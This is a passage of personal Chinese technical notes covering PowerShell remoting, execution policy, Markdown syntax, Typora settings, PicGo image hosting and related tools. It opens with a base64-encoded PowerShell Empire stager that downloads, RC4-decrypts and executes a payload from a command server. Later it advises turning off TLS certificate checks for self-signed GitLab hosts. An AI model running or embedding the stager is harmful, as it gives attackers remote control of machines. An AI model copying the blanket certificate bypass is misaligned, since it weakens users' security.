ZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7AAoACgAjACAABlygUsZbxlullGyPYmM6TiAAQQBTAEMASQBJACAAV1uCggoAJABLACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASAB1AHYALAAzAGcAdABzAGMAfQAjAF8ARQA6AGYARgBYAHcAbgAyAGIAVQBQAFYAfABpAE0AZQAwACsANQBSACcAKQA7AAoACgAjACAAmltJTih1jk7qgZpbSU6gUsZbl3vVbIR2/VFwZQoAJABSACAAPQAgAHsACgAgACAAIAAgACQARAAsACAAJABLACAAPQAgACQAQQByAGcAcwA7AAoAIAAgACAAIAAkAFMAIAA9ACAAMAAuAC4AMgA1ADUAOwAKACAAIAAgACAAMAAuAC4AMgA1ADUAIAB8ACAAJQAgAHsACgAgACAAIAAgACAAIAAgACAAJABKACAAPQAgACgAJABKACAAKwAgACQAUwBbACQAXwBdACAAKwAgACQASwBbACQAXwAgACUAIAAkAEsALgBDAG8AdQBuAHQAXQApACAAJQAgADIANQA2ADsACgAgACAAIAAgACAAIAAgACAAJABTAFsAJABfAF0ALAAgACQAUwBbACQASgBdACAAPQAgACQAUwBbACQASgBdACwAIAAkAFMAWwAkAF8AXQA7AAoAIAAgACAAIAB9ADsACgAgACAAIAAgACQARAAgAHwAIAAlACAAewAKACAAIAAgACAAIAAgACAAIAAkAEkAIAA9ACAAKAAkAEkAIAArACAAMQApACAAJQAgADIANQA2ADsACgAgACAAIAAgACAAIAAgACAAJABIACAAPQAgACgAJABIACAAKwAgACQAUwBbACQASQBdACkAIAAlACAAMgA1ADYAOwAKACAAIAAgACAAIAAgACAAIAAkAFMAWwAkAEkAXQAsACAAJABTAFsAJABIAF0AIAA9ACAAJABTAFsAJABIAF0ALAAgACQAUwBbACQASQBdADsACgAgACAAIAAgACAAIAAgACAAJABfACAALQBiAHgAbwByACAAJABTAFsAKAAkAFMAWwAkAEkAXQAgACsAIAAkAFMAWwAkAEgAXQApACAAJQAgADIANQA2AF0AOwAKACAAIAAgACAAfQA7AAoAfQA7AAoACgAjACAABlx5cppbhHYgAEMAbwBvAGsAaQBlACAA+22gUjBSIABXAGUAYgAgAKJbN2LvegdoNFkKACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBDAG8AbwBrAGkAZQAiACwAIAAiAGMASABHAEEAZgBkAEwAWgBEAEMARQB0AEwATQBLAD0AbABMAHEAOABVAHcAaQBFAHUAegB2AEkAUQBEADQAagA3AHAANgBJAEoAcwBoAGkAaQAxAEUAPQAiACkAOwAKAAoAIwAgAM5OB2OaW4R2IABVAFIATAAgAAtOfY9wZW5jdl4GXHZRWFuoUChXIAAkAGQAYQB0AGEAIAAtTgoAJABkAGEAdABhACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACAAKwAgACQAdAApADsACgAKACMAIADOTgtOfY+EdnBlbmMtTtBj1lMdUstZFlMRVM+RIAAoAEkAVgApAAoAJABpAHYAIAA9ACAAJABkAGEAdABhAFsAMAAuAC4AMwBdADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAoACgAjACAAzk4LTn2PhHZwZW5jLU77eWSWIABJAFYACgAkAGQAYQB0AGEAIAA9ACAAJABkAGEAdABhAFsANAAuAC4AJABkAGEAdABhAC4AbABlAG4AZwB0AGgAXQA7AAoACgAjACAAf08odeqBmltJTqBSxlv9UXBl+VtwZW5j249MiOOJxlt2XmdiTIgKAC0AagBvAGkAbgAgAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACAAKwAgACQASwApACkAIAB8ACAASQBFAFgACgAKAA==
+
然后即可在 Powershell Empire 的 Server 与 Client 上看到上线提醒与交互
WinRM の TrastedHosts にホストを追加 / 確認 / 削除する : Windows Tips | iPentec
如果本地和远程都是 Windows 的话, 需要在本地和远程 Windows 上启用 PS Remoteing
然后将远程主机加入到本地 TrustedHosts 中来信任该远程主机
Set-Item wsman:\localhost\Client\TrustedHosts -Value "远程主机ip" -Force
+
连接远程主机:
$sess = New-PSSession -ComputerName [远程主机名或ip] -Credential domain\username
+
可以通过 Get-PSSession
来查看已建立的 session
Get-PSSession
+
要释放这个 session 可以使用 Remove-PSSession
命令
Remove-PSSession $sess
+
可以使用如下命令通过 powershell remote session 执行命令:
Invoke-Command -Session $sess -ScriptBlock {
+ # 在远程计算机上执行的命令
+ pip -V
+}
+
可以看到无法识别 pip, 然而远程主机上是有 pip 的:
这是因为 PSSession 不会自动加载环境变量, 因此还需要加载一下环境变量, 以加载系统环境变量(而非用户环境变量) 为例
# 读取系统环境变量
+$envVariables = [System.Environment]::GetEnvironmentVariables([System.EnvironmentVariableTarget]::Machine)
+
+foreach ($envVariable in $envVariables.GetEnumerator()) {
+ # 这里需要判空, 因为 SetEnviromentVariable 函数不支持空值, 会报错并退出
+ if (![string]::IsNullOrWhiteSpace($envVariable.Value)) {
+ # 将这些环境变量加载到当前 powershell 进程环境变量中
+ [System.Environment]::SetEnvironmentVariable($envVariable.Key, $envVariable.Value, [System.EnvironmentVariableTarget]::Process)
+ }
+}
+
可以看到加载完环境变量就能成功识别 pip 了
此外, 如果明确知道只需要加载部分环境, 比如只需要加载系统环境中的 Path 变量的话就可以如下操作:
[System.Environment]::SetEnvironmentVariable("Path", [System.Environment]::GetEnvironmentVariable("Path", [System.EnvironmentVariableTarget]::Machine), [System.EnvironmentVariableTarget]::Process) +
可以使用 WScript.Shell
对象制作消息弹窗
$ws = New-Object -ComObject WScript.Shell
+
然后使用期 Popup
方法进行弹窗
object.Popup(strText,[nSecondsToWait],[strTitle],[nType])
+
strText
:消息窗口所包含的文本信息;nSecondsToWait
:等待n秒后该窗口自动关闭,如设置为0,则永不会自动关闭;strTitle
:消息窗口的标题;nType
:消息窗口的按钮类型及其图标按钮类型:
值 | 描述 |
---|---|
0 | 显示“确定”按钮 |
1 | 显示“确定”+“取消”按钮 |
2 | 显示“终止”+“重试”+“忽略”按钮 |
3 | 显示“是”+“否”+“取消”按钮 |
4 | 显示“是”+“否”按钮 |
5 | 显示“重试”+“取消”按钮 |
6 | 显示“重试”+“取消”+“继续”按钮 |
图标类型:
值 | 描述 |
---|---|
16 | |
32 | |
48 | |
64 |
例如:
$ws = New-Object -ComObject WScript.Shell
+$wsr = $ws.popup("你好吗?",0,"我的窗口",1 + 16)
+
Write-Host "未检测到Microsoft Word, 请稍后手动安装 >︿<" -ForegroundColor:Red -BackgroundColor:Black
+
Import-Module AtomicTestHarnesses
+
上述命令用于将计算机中已经存在的模块导入到当前 powershell 会话
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
+
上述命令用于从 PowerShell Gallery(或其他源) 下载模块, 并将其安装在当前用户指定的范围中
-Force
表示即便模块已存在, 也会重新安装
xxx.ps1
, 因在此系统上禁止运行脚本。有关详细信息,请参阅 关于执行策略 - PowerShell | Microsoft Docs 中的 about_Execution_Policies
。Windwos+x -> 以管理员身份运行 PowerShell
# 获取当前策略配置
+get-ExecutionPolicy
+
默认是
Restricted
:
- Windows 客户端计算机的默认执行策略。
- 允许单个命令,但不允许脚本。
- 防止运行所有脚本文件,包括格式化和配置文件 ()
.ps1xml
、模块脚本文件 (.psm1
) ,以及 powerShell 配置文件 (.ps1
) 。可以将其改为
RemoteSigned
- Windows 服务器计算机的默认执行策略。
- 脚本可以运行。
- 需要来自受信任的发布者对从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)的数字签名。
- 不需要对在本地计算机上编写的脚本(而不是从 Internet 下载)进行数字签名。
- 如果脚本被取消阻止,则运行从 Internet 下载且未签名的脚本,例如使用
Unblock-File
cmdlet。- 从 Internet 以外的源运行未签名脚本的风险,以及可能是恶意的签名脚本。
# 设置 powershell 的策略
+Set-ExecutionPolicy
+
输入 RemoteSigned
并回车, 输入 y
确认更改;
然后可以 get-ExecutionPolicy
看下是否改动完成
不过这里也许会报错:
可以看到在 UserPolicy 中 ExecutionPolicy 为 Restricted
Set-ExecutionPolicy -Scope UserPolicy UnRestricted
+
xelatex: major issue: So far, you have not checked for updates as a MiKTeX user.
update MIKTeX -> Update MiKTeX
# 一级标题
+## 二级标题
+### 三级标题
+
+分割线↓
+
+---
+
+- 无序列表
+1. 有序列表
+
+[待加入超链接的文字](链接)
+![图片描述信息](图链)
+`短代码或者专用名词`
+==高亮文本==
+
+```代码块语言
+代码块内容
+```
+
- 无序列表
- 有序列表
待加入超链接的文字
![图片描述信息](图链)
(PS: 这里不贴出来是因为会导致站点构建错误, 可在 图片章节 查看演示效果)短代码或者专用名词
高亮文本代码块内容 +
上面的源码部分在
分割线
与---
中间空了一行, 是有原因的, 如果不空行的话有可能会把---
上面的文本识别成标题
换行
行末两个空格并换行
第一行文字
+第二行文字
+
第一行文字
第二行文字
Typora 中对应
Space Space Shift+Enter
直接空一行
第一行文字
+
+第二行文字
+
第一行文字
第二行文字
Typora 中对应
Enter
常规链接写法
[百度](http://www.baidu.com)
+
文内标题链接写法
[->编辑软件](#Markdown 编辑软件)
+[->Typora](#Typora)
+
[->编辑软件](#Markdown 编辑软件) ->Typora
不管是跳转到几级标题,
()
内都只需要用 1 个#
, 不过要注意所有的标题不要有重名
![图片标识](图片地址)
+
图片标识想起就起,不想起空着也行
图片地址可以填相对地址也可以填网络中的绝对地址
相对地址
意指图片源文件存放在本地, 使用当前文件与使用的图片文件间的相对地址定位到图片
./ 当前目录
+../ 上1层目录
+../../ 上2层目录
+
一般也就只能用到
./
, 比如:![](./Markdown.assets/202212110347663.png) +
网络绝对地址(http/https
)
![](http://cdn.ayusummer233.top/img/202212111515300.png) +
PS: Gitee 在年初更新了防盗链规则, 不推荐在 Gitee 站外使用 Gitee 图链, 否则就丢图了
目前在 Gitee 站外引用的 Gitee 图链会变成一个 Gitee 图标
推荐使用个人图床(比如七牛云对象存储, 正常使用前期存储较少的时候一个月不到一毛钱, 存了几千张图片之后也不过一个月两三毛的样子, 两三年前充了 50 现在还有四十七块多)
反而域名才是消耗品,
.top
域名首年九块九, 后面续费就二十多了不推荐使用公共图床是因为不好管理以及怕丢以及不清楚公共图床是否会压图
| 列1 | 列2 | 列3 |
+| :--- | :---: | ---: |
+| 值1 | 值2 | 值3 |
+
实际上一般不会手打表格语法, 在 Typora 中可以用
Ctrl + T
或者在右键菜单中选择快捷插入表格:---
,
:--:,
---:分别对应左对齐, 居中对齐和右对齐(中间的
-数量其实无所谓, 主要是用来对齐
|` 这样源码比较美观)可以在 VSCode 中使用 Markdown All in One 扩展来一键格式化 markdown 文档源码
Alt + Shift + F
列1 | 列2 | 列3 |
---|---|---|
值1 | 值2 | 值3 |
<div STYLE="page-break-after: always;"></div>
+
直接在 markdown 源码中插入此行, 这样在导出 PDF 文件时会在此行处分页
之所以有这个需求是因为经常出现一张长图片导致前一页或者后一页出现大面积空白或是一段源码在 PDF 中刚好分在了两页上, 这样阅读起来就比较别扭, 因此可以手动插入分页符进行调整
不过后来分享 PDF 页数越来越多时手动插入分页符的操作非常耗费精力, 因此就引出了导出 HTML 分享的解决方案
对应 VNote 导出以及 [MPE 导出](#使用 MPE 导出 base64图片 && 带侧边目录的 HTML)
有了解决方案后又有了新的问题, 不是所有分享媒介都直接预览 HTML 文件(比如微盘和gitlab都不支持直接预览 HTML), 从而引出了新的解决方案:
- 对于 Gitlab 而言, 默认支持 markdown 文件的渲染显示
- 对于微盘而言, 最终还是分享 markdown + 图片文件夹 + PDF
- 使用 VuePress, VitePress 等工具自己起个文档站点展示 markdown 文件
markdown 是兼容 html 语法的, 所以你可以在 Markdown 中使用 html + css 来实现各种自定义的效果
通常, 在 Typora 中一份 markdown 文档展示给我们的预览效果是通过根据当前主题的 css 样式将当前文档的 markdown 源码渲染为 html 显示的
当我们切换主题时就会看到预览效果的变化, 比如有些主题的标题预览是居中显示的
而我们同样也可以直接在 Markdown 源码中写 html 来自定义该部分内容的排版
例如使用 <center>
标签将文字居中显示:
<center>文字居中</center>
+
图像居中显示:
<div align=center><img src="http://cdn.ayusummer233.top/img/20210514111630.png" width=" "></div>
+
<font face="黑体">使用黑体</font>
+
<font face="黑体" size=10>我是黑体10号字</font>
+
<font color=red>红色</font>
+
<font size = 5>示例</font>
+
对于全局字体大小的设置也可以在 Typora 的偏好设置中的外观设置中进行自定义配置
本地阅读的话一般编辑器侧边栏大纲都是展示全部的目录的, 但是很多站点的 Markdown 渲染侧边栏只支持深度到2级的目录展示, 所以在顶部有一个目录还是有些用的
Typora 可以选择插入目录, 但是对于源码的改动只是加了个 [TOC]
, 这种配置只有在 Typora 中才能正确解析, 而 VSCode 中的 Markdown All in One 扩展的插入目录则是直接以无序列表的形式将目录插入到了源码中, 不管在哪里都是可以正常渲染出来的
在命令面板中选择使用 Markdown All in One 生成目录即可在当前光标位置生成目录, 且每次保存时会自动更新目录
怎么在LaTeX,Markdown和知乎上写数学公式时打出空格 - 知乎 (zhihu.com)
NPV = 现金流入现值和 - 现金流出现值和
\begin{aligned}
+ NPV &= CI - CO \\
+ &= \sum_{t=0}^n CI_t (P/F, i_0, t) - \sum_{t=0}^n CO_t (P/F, i_0, t) \\
+\end{aligned}
+
如何在 markdown 中表示矩阵? - 知乎 (zhihu.com)
$$\begin{matrix}
+0&1&1\\
+1&1&0\\
+1&0&1\\
+\end{matrix}$$
+
中括号边框:
bmatrix
与 VSCode 相较而言在大文件的续写方面渲染速度太慢, 但是当文档仅有一千行左右时渲染速度还不错
PS: 长期使用过后我个人写 Markdown 的主力工具仍是 Typora, 因其对表格以及图片的支持比较好, 以及用 VSCode 写 Markdown 经常需要同时打开源码和预览两个窗口, 即便装了类似 Typora 的插件体验依旧不及 Typora 本体, 而且一两千行, 一两万字基本上对于写一个文档而言也够用了
VSCode 主要在文档中含有太多外链图片资源时编辑文档经常乱跳屏幕, 编辑体验不是很好
Typora 编辑 markdown 文件也有如下顺手之处
自动空行, 使得回车时确实能够换行书写
编辑 markdown 源码时要实现预览时的话行需要在源码行尾输入两个空格或者是一个或多个空行
可视化编辑格式(尤其是表格的插入和编辑体验很好)
直接编辑 Markdown 文件主要是看不到图片, 因此在 VSCode 中编辑 Markdown 时通常会开两个 tab, 一个编辑源码一个用来预览
配合PicGo 也可以自动上传图片到个人图床, 截图完直接粘贴可以自动生成图链
超链接的生成比较灵活, 复制完网页链接之后直接粘贴会根据内容生成超链接及其文本, 对于参考链接的书写比较友好, 省下了不少自己打描述的时间
Typora 激活前没挂梯子的话最好在偏好设置中把使用国内服务器勾选上
在 偏好设置
中可以自定义自己的配置项
窗口样式
: 分为 经典
与 一体化
两个选项, 可以根据自己的喜好进行设置
一体化
:
经典
:
字体大小
: 推荐使用 自动
, 如果字体大小实在看着不舒服也可以自定义设置大小
状态栏
: 推荐显示状态栏, 就是页面最下面这几个
阅读速度
: 默认即可, 一般也不会用到
侧边栏
: 勾选以允许折叠与展开大纲视图, 这个配置项无所谓, 因为在编辑时会根据需要在侧边栏右键进行调整
有时侧边栏目录太长是打开折叠展开的, 有时折叠后目录比较短但是层级比较深, 此时为了方便跳转一般会关闭允许折叠(也即全展开)(换言之折叠与否完全看心情)
根据自己的喜好设置主题即可, 具体主题详见 主题推荐
默认情况下是打开 Typora 之后全是空白, 推荐选择重新打开上次使用的文件和目录, 这样可以方便继续之前的工作
推荐勾选自动保存
想必 WPS 卡死导致文件被吞过的同学比较有感触
选择系统语言即可
已经激活了的话推荐勾选自动检查更新
个人倾向于也勾选上更新至开发板, 目前为止还没遇到什么不能接收的恶性 bug, 倾向求稳的同学可以只勾选自动检查更新
在详情界面可以查看序列号, 在换设备以及在其他设备使用 Typora 时会查看此项
Shortcut Keys - Typora Support
这里的自定义快捷键会跳转到官方文档, 该文档中会教授如何自定义快捷键, 翻到文档起始可以看到快捷键表格
Typora 中最常用的快捷键是
Ctrl + T
: 新建表格
Ctrl + /
: 切换到源码模式
Ctrl + Shift + C
: 将选中内容复制为 Markdown
Enter
: 换段(体现在源码里就是空一行)
Space Space Shift + Enter
: 换行
源码中在行尾打两个空格并换行
不推荐直接只使用 Shift + Enter, 这样虽然在 Typora 中可以看到换行了, 但是不符合 markdown 语法, 在其他软件中就看不到换行了, 而是会显示在同一行
没用过, 不清楚有什么用
只用来写文档看文档一般不会开调试模式
匿名使用数据方面除非写开源博客否则一般也不会开
点击打开高级设置会打开一个本地文件夹, 里面有两个 json 文件对应配置文件, 个人没用过, 就不再展开了
在激活 Typora 之前会勾选上, 一般是安装好 Typora 之后第一个配置的偏好设置
建议打开即时渲染, 显示当前块元素的 Markdown 源码, 这对于调整目录层级比较有帮助, 在光标点到任意一级标题时会显示标题前的 #
, 这样就可以快速通过加减 #
来调整层级而不用再 Ctrl + /
切换到源码做修改
当图片存放在本地时推荐如此配置
插入图片时的动作其实有 6 项
选择 复制图片到 ./${filename}.assets 文件夹 是因为个人喜好, 这样可以保证一个 markdown 文件的图片对应一个图片目录
不选择复制图片到当前文件夹是因为若勾选了此项, 当文档中插入的图片比较多时, 打开本地文件目录就会看到一堆图片文件中夹杂着一个 markdown 文件(以及可能存在的导出的 PDF 等其他文件以及其他的参考文档等等), 这就会使得文件目录显得很混乱
不选择复制图片到 ./assets
文件夹是因为当一个目录下有多个 markdown 文件时, 这些 markdown 中的图片就全混在同级目录下的 assets
文件夹里了
不选择复制到指定路径是因为这样设置基本就告别相对路径了, 而绝对路径字符串是坏文明, 换个地方就不能用了
优先使用相对路径, 相对路径是好文明
勾选为相对路径添加 /
是因为有的 markdown 文档渲染站点不支持没有 ./
的相对路径
比如 VuePress 不支持没有
./
的相对路径图像渲染, 如果引用了当前文档同级目录下的图片/文件夹中的图片
而没有使用./
则会导致渲染出来的 html 无法正确索引到图片文件从而显示不出来图片
不勾选插入时自动转义图片 URL 是因为选上之后相对链接中的中文会自动 URLEncode, 读 Markdown 源码时看着不舒服(
有个人图床时, 写个人博客的情况下可以选择结合 PicGo 上传图片到个人图床, 可以参考 Ubuntu+PicGo+七牛云图床+Typora搭建笔记神器_xcy.小相的博客-CSDN博客_typroa写ubuntu
之所以不贴自己的实现步骤是因为很早之前从域名申请到具体配置的过程中没有做相关记录, 现在也不想重新来一遍, 所以就不贴了
标题中有 Ubuntu, 但是实际上 Windows 上的配置也是一样的, 而且 Ubuntu 上的 Typora 版本要落后于 Windows 上的 Typora
这里需要注意的是 不要勾选为相对路径添加 ./, 否则会上传失败(感觉应该是个 bug)
勾选了优先使用相对路径是因为这样的话当写文档时需要在本地存放图像时不用再改动此项配置了
关于勾选了相对路径添加
./
会导致上传失败个人认为是 bug 是因为
- 取消勾选此项后就可以正常上传图像了
- 选了上传图片时其实相对路径的相关配置是没有意义的, 而现实逻辑上不相关的配置具在体实现上出现 bug 的情况并不少见, 属于是合理推测(
- 为相对路径添加
./
是最近几个版本新增的功能
勾选允许根据 YAML 设置自动上传图片是因为感觉可能有用就勾上了
在 Typora 支持自定义图片上传服务了 - 少数派 (sspai.com) 中有提到该配置项可能在 mac 上有用
不勾选智能引号是因为在个人写文档中有时用单引号还是双引号是有原因的, 不能随便换
比如 SQL 注入中的单引号与双引号以及 Python 中字符串的单双引号混用
不过一般涉及代码都会使用三个间隔号(`)标记代码块或者是使用两个间隔号包裹单行代码片段, 比如:
print("Hello World") +
print("Hello World")
不勾选智能破折号是因为个人用破折号的情况很少, 用破折号的时候也不希望其发生变化
不勾选转化 Unicode 标点是因为个人标点全是半角, 所以不需要
首行缩进根据个人喜好设置即可
不显示 <br>
是因为勾选了之后个人认为看起来不美观
<br>
一般用于表格内单个单元格中的文字换行
基本上要配的就一个 PDF, 需要注意的配置项也就一个主题, 默认是使用当前主题导出, 但是个人编辑 markdown 时一般用深色的主题, 而 Typora 又不支持深色主题导出, 所以这里需要勾选一个浅色的主题, 这里选了 Vue
个人收集的主题包整合在这里了: Typora主题
下载对应的主题压缩包, 解压后将其中的 css 文件复制到主题文件夹中即可, 如果解压后不只有 css 文件还有其他文件夹, 而且开其他文件夹后里面不光是图片, 还有字体等文件时, 将这些 其他的文件夹
也拷贝到主题目录中即可
因为 Typora 导出 PDF 不支持深色主题, 因此这里在浅色主题中进行推荐, 导出 PDF 推荐使用 Github 和 Vue 主题
Vue
:
Github
:
自带的 Night, Dracula, VueDark 都不错
Dracula
:
VueDark
:
Night
:
前面打印主题中展示的 Github
和 Vue
主题都不错, 在分享的主题包中还有很多浅色主题, 由于个人不常用所以就不过多推荐了
自动上传图片后路径转义为:http:cdn.ayusummer233.top/img/image-20210607155126647.png
无法正常显示
刚开始用的时候照着教程配置没有仔细考量配置项, 在 VScode 中
http:cnd......
的形式是可以正常渲染图片的, 所以当时没注意到链接不完整的问题
实际上是PicGo 的上传路径配置有问题, 少了个//
, 加上就可以了
导出 PDF 点保存后没有提示也没有导出成功
有可能是打印机服务 down 了
打开计算机服务
菜单, 启动 Print Spooler
即可
如果图链源自自签名的https局域网站点, 那么需要为 Typora 的启动项添加 --ignore-certificate-errors
参数, 具体如图所示
exe 路径加引号后点击应用可能会自动把引号删掉, 应该不影响使用
md
功能如其名字所示, all in one, 常用于预览 Markdown 文件以及格式化 markdown 文本和目录生成
主要是目录生成比较有用, Typora 虽然可以选择插入目录, 但是对于源码的改动只是加了个 [TOC]
, 这种配置只有在 Typora 中才能正确解析, 而 Markdown All in One 的插入目录则是直接以无序列表的形式将目录插入到了源码中, 不管在哪里都是可以正常渲染出来的
预览
:
格式化文档
:
目录
在命令面板中选择使用 Markdown All in One 生成目录即可在当前光标位置生成目录, 且每次保存时会自动更新目录
个人觉得在预览方面有 Markdown All in One 就足够了, MPE(Markdown Preview Enhanced) 有时被用于导出包含 base64 图片的 HTML 文档
使用 MPE 预览 markdown 文件时若出现如下问题
报错 Error: spawn pandoc ENOENT · Issue #429 · shd101wyy/markdown-preview-enhanced (github.com)
安装 Pandoc 再重启 VSCode 即可
使用 MPE 导出 base64图片 && 带侧边目录的 HTML
:
3.1 HTML 导出-markdown preview enhanced文档(简体中文版)-面试哥 (mianshigee.com)
最完善的markdown转html/pdf方法、带目录生成_所谓向日葵族的博客-CSDN博客_markdown转html
Markdown转换单一html文件并添加侧边栏目录_吟风划彩虹的博客-CSDN博客_html添加目录
安装完 MPE 插件后在设置中打开脚本执行支持
使用 VSCode 打开 markdown 文件后, 打开 Markdown Preview Enhanced
的预览模式
将光标放到第一行,然后(按 Ctrl+Shift+P
)呼出命令面板,输入 Markdown Preview Enhanced: Create Toc
会在光标位置生成一段代码:
<!-- @import "[TOC]" {cmd="toc" depthFrom=1 depthTo=6 orderedList=false} -->
+
此时每次保存文件都会自动生成目录
然后在头部添加
---
+html:
+ embed_local_images: true
+ embed_svg: true
+ offline: true
+ toc: true
+print_background: true
+export_on_save:
+ html: true
+---
+
embed_local_images
被设置为 true
,那么所有的本地图片将会被嵌入为 base64
格式。
toc
false
,那么边栏目录将会被隐藏。toc
被设置为 true
,那么边栏目录将会被缺省启动并显示。toc
没有被设置,那么缺省边栏目录将会被启动,但是并不显示。export_on_save:
+ html: true
+
保存时自动导出 html
offline
HTML (offline)
选择这个选项如果你要离线使用这个 html 文件。HTML (cdn hosted)
选择这个选项如果你要远程或在服务器上使用这个 html 文件。print_background
: 使用当前背景样式
可参阅 七牛云+阿里云域名+PicGo 进行配置, 最终在 VSCode 中的配置如下:
使用说明
Markmap - Visual Studio Marketplace
gera2ld/markmap: Visualize your Markdown as mindmaps with Markmap. (github.com)
能够将 markdown 文件根据目录层级转换为思维导图
PS: 该扩展提供 Markdown 语法检查, 但是个人认为该扩展提供的检查有些过于严格了, 不是特别实用, 个人更倾向于使用 Markdown All in One 提供的一键格式化 markdown 文本
在启用 markdownlint
时, 若当前 markdown 文本中包含 html 则会被警告, 但是有时 html 标签是在自定义一些个人想要的特性时所需要使用的, 以下是关闭此警告的相关处理方案
vscode markdownlint插件让你的markdown更加规范 -- Rules规则提示信息 一介布衣 (yijiebuyi.com)
markdownlint取消部分html标签警告_sbwww的博客-CSDN博客
问题
在 vscode 中使用 markdownlint 插件进行代码分析,当使用了 html 标签时,插件会给出 MD033/no-inline-html
警告,
如果整篇 markdown 很长且遍布这种错误时该插件会导致 VSCode 十分卡顿
原因
插件作者的意图是为了使 markdown 文件是纯 markdown 的,避免在使用 html 以外的方式渲染时出错。
markdownlint/Rules.md at v0.21.0 · DavidAnson/markdownlint (github.com)
解决方案
打开 VSCode 设置 json 文件, 添加如下配置:
"markdownlint.config": {
+ "default": true,
+ "MD033": {
+ "allowed_elements": [ "font", "li", "table", "tr", "td", "br" ]
+ }
+ },
+
其中 "allowed_elements"
的列表中填入不想提出警告的 html 标签, 保存修改后,markdownlint 将不再对 "allowed_elements"
中的 html 标签提出警告
开始之初,VNote是一款专为Markdown设计的Vim风格笔记应用程序。它不仅仅是一个Markdown编辑器。VNote旨在成为一个带有便捷笔记管理的功能强大的Markdown编辑器,或者一个拥有舒适Markdown体验的笔记软件。
现在,VNote致力于成为一个舒适的笔记平台,会逐步支持更多的文档格式。
VNote是免费、开源的。您可以获得适用于Linux,Windows和macOS的版本。
可以导出嵌入图片的带侧边大纲的 HTML
但是 PDF 导出有些差强人意
请参阅 Ubuntu+PicGo+七牛云图床+Typora搭建笔记神器_ubuntu挂载七牛云_xcy.小相的博客-CSDN博客
之所以不贴自己的实现步骤是因为很早之前从域名申请到具体配置的过程中没有做相关记录, 现在也不想重新来一遍, 所以就不贴了
上述链接标题中有 Ubuntu, 但是实际上 Windows 上的配置也是一样的
PS: Ubuntu 上的 Typora 版本要落后于 Windows 上的 Typora 的
Nextcloud 也可以配合 Picgo 作为图床使用, 简单来说上传图片到 nextcloud 并通过公开链接共享后可以在链接后缀加上 /preview
预览
而 Nextcloud 提供了用于上传图片以及分享链接的接口, 因此可以制作 Picgo 上传 Nextcloud 的插件并配合 Typora 使用
在 PicGo 插件设置中搜索 Nextcloud 并安装此项:
然后在 图床设置
中配置 Nextcloud 的地址以及登录账密以及图像存储根目录即可
PS: 插件市场里的两个插件最终都没能使用成功, 而且 log 里没什么有用的信息, 查了下对应的仓库, 最后一次更新均是在 21 年了, 打算后面有空二开一下
PS: 后来考量了下使用了 Gitlab 当图床, 继而不再去考虑二开 nextcloud 的插件了
d-w-x/picgo-plugin-gitlab-files: PicGo 向 Gitlab 的指定项目中上传图片 (github.com)
Gitlab 也可以配合 Picgo 当做图床使用, 需要新建一个公开的 Gitlab 项目, 然后配置项目 Token, 详细配置请参阅上述链接
Gitlab 仓库中的图片可以通过 仓库链接/raw/{分支名}/pictures/{图片路径}
进行访问, 且 Gitlab 提供了上传文件的接口, 因此可以制作 Picgo 上传图像到 gitlab 仓库的插件并配合 Typora 使用
在 PicGo 中下载
并按照 d-w-x/picgo-plugin-gitlab-files: PicGo 向 Gitlab 的指定项目中上传图片 (github.com) 进行配置即可
需要注意的是 token 那里如果项目里要选角色的话默认是
Guest
, 权限是不够的, 可以给个Owner
权限
需要注意的是可能上传时会报错 Error: Client network socket disconnected before secure TLS connection was established
这可能是由于 Picgo 挂了本地代理, 将其关掉即可
如果报错 RequestError: **Error**: self signed certificate
那么可能是 gitlab 地址用了自签名的 SSL 证书, 忽略自签名即可, 具体操作如下
打开插件主程序 js 文件, 该文件默认为: C:\Users\[Username]\AppData\Roaming\picgo\node_modules\picgo-plugin-gitlab-files\dist\index.js
使用 p
对象来临时修改环境变量,来忽略自签名证书错误, 然后,你就可以在后面的代码中发送HTTPS请求,而忽略自签名证书错误。
PS: 这种方法只会影响当前Node.js进程,不会永久改变环境变量。
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
+
如果报错 Request failed with status code 403
可能是 token 给的权限不够, 看下是不是只给了 Guest 权限
如果上传成功了但是 Typora 中无法正确渲染图像, 可能是因 Gitlab 使用了自签名的 SSL 证书, 可以设置 Typora 启动参数 --ignore-certificate-errors
来忽略该问题
PicGo 之于 Markdown 主要是用于上传图片到个人图床并返回 Markdown 引用链接; 在前文 VSCode 中编辑 Markdown 中有提到 VSCode 中有PicGo 扩展,PicGo 也是有 PC 端软件的, 在 Releases · Molunerfinn/PicGo (github.com) 中可以下载对应系统版本的PicGo 安装包
可能是有设备拦截了请求, 可以在PicGo 设置中配置代理来解决
有时单纯的静态图片可能不能很明确地展示效果, 用 GIF 可能会更好些
在插入静态图片时通常是截屏后剪贴板中会有该截图, 直接粘贴到 Typora 中就可以自动调佣 PicGo 将剪贴板中的静态图片上传到图床并生成 markdown 引用代码
但是对于 GIF, 首先是在截图方面最常使用的工具多为: Windows 自带的 Win + Shift + S
, Snipaste, QQ截图, 但是这些工具通常不支持截 GIF, ShareX 是支持截 GIF 的
设置截图后复制文件到剪贴板:
然后直接在 Typora 上粘贴即可自动调用PicGo 上传到图床
比如:
Pandoc 2.16.1-windows-x86_64.msi - OneDrive Share
Pandoc 是通用文档文本转换器。Typora 使用它来支持几种文件类型的文件导入/导出功能。
像演示 PPT 一样演示 markdown
安装
:
执行如下命令进行全局安装 reveal-md
npm install -g reveal-md
+
没装 nodejs 的话需要先装 nodejs
使用
:
执行如下命令以使用 reveal-md 演示 markdown 文件
reveal-md path_markdown_file
+
如:
RimoChan/unv-shield: 【幼盾】个性化图片徽章服务! (github.com)
